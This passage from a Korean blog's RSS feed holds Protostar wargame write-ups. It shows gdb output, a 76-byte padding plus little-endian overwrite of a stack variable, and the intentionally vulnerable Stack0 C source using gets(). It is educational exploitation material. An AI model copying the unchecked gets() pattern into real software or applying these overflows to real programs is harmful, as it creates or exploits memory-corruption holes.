&amp;nbsp; rsi,rdx&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;0x0000000000401196 &amp;lt;+68&amp;gt;:&lt;/span&gt;&lt;span style=&quot;white-space: pre; font-size: 14pt;&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;mov&amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; rdi,rax&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;rsi에 대입되는 rdx를 주목해서 보면 된다.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 722px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9935613D5C315E3801&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9935613D5C315E3801&quot; width=&quot;722&quot; height=&quot;227&quot; filename=&quot;이미지 010.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb 분석을 바탕으로 stack을 그려보면 아래와 같이 정확히 stack0와 같음을 확인할 수 있다.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 649px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995989365C329FD806&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995989365C329FD806&quot; width=&quot;649&quot; height=&quot;1036&quot; filename=&quot;이미지 017.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;modified 변수의 값을 수정하기 위해서 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;76 byte&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;의 padding이 필요하고 modified를 &quot;0x61626364&quot;로 대입&lt;/span&gt;하면 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다만 여기서 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;little endian&lt;/span&gt; 사용하기 때문에 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;&quot;\x64\x63\x62\x61&quot;&lt;/span&gt;로 작성해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 986px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994A1E335C315EFD39&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994A1E335C315EFD39&quot; width=&quot;986&quot; height=&quot;95&quot; filename=&quot;이미지 011.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;little endian을 고려하지 않고&amp;nbsp;사용하면 &quot;0x64636261&quot; 처럼 예상과 반대 값이 나오기 때문에 little endian을 고려해서 작성해야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/Protostar</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/237</guid>
      <comments>https://marcokhan.tistory.com/237#entry237comment</comments>
      <pubDate>Sun, 6 Jan 2019 10:21:16 +0900</pubDate>
    </item>
    <item>
      <title>[Protostar] Stack0 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/236</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-family: Gulim, 굴림; font-size: 36pt;&quot;&gt;&lt;b&gt;Protostar --- Stack0&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack0&lt;/span&gt;의 힌트이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Gulim, 굴림; font-size: 14pt;&quot;&gt;This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; font-family: Gulim, 굴림;&quot;&gt;해석해보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;font-family: Gulim, 굴림;&quot;&gt;이번 level은 메모리가 &lt;/span&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186); font-family: Gulim, 굴림;&quot;&gt;할당된 부분 밖(여기선 outside of array) 에서 접근 할 수 있다&lt;/span&gt;&lt;span style=&quot;font-family: Gulim, 굴림;&quot;&gt;는 것을 소개한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; font-family: Gulim, 굴림;&quot;&gt;어떻게 stack에 변수가 할당되는지, 할당된 부분 밖의 메모리를 변형하는 것은 프로그램의 실행을 변형할 수 있다는 것을 소개한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack0의 소스코드는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;volatile&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;modified;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;gets(buffer);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;you&amp;nbsp;have&amp;nbsp;changed&amp;nbsp;the&amp;nbsp;'modified'&amp;nbsp;variable\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Try&amp;nbsp;again?\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;volatile&lt;/span&gt; keyword는 volatile로 선언된 변수를 사용할 때 최적화에서 제외하여&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; 항상 메모리에 접근&lt;/span&gt;하도록 하는 함수이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소스코드를 보면 우리가 정상적인 방식으로 gets() 함수를 이용하면 항상 &quot;Try again?\n&quot; 문자열을 만난다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 우리는 modified를 변경시켜 &quot;you have changed the 'modified' variable\n&quot;을 만나야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 modified 변수를 확인할 때, 최적화 하지 않고, 직접 메모리로부터 값을 얻어오기 위해 volatile keyword를 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;volatile keyword로 4byte 정수형 modified를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char array buffer를 64 byte 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;modified 변수를 0으로 초기화 하고, gets() 함수를 통해 사용자로부터 buffer에 입력을 받는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;gets() 함수는 insecure한 함수이고, overflow를 check하지 않기 때문에 여기서 취약점이 발생&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;volatile&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;modified;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 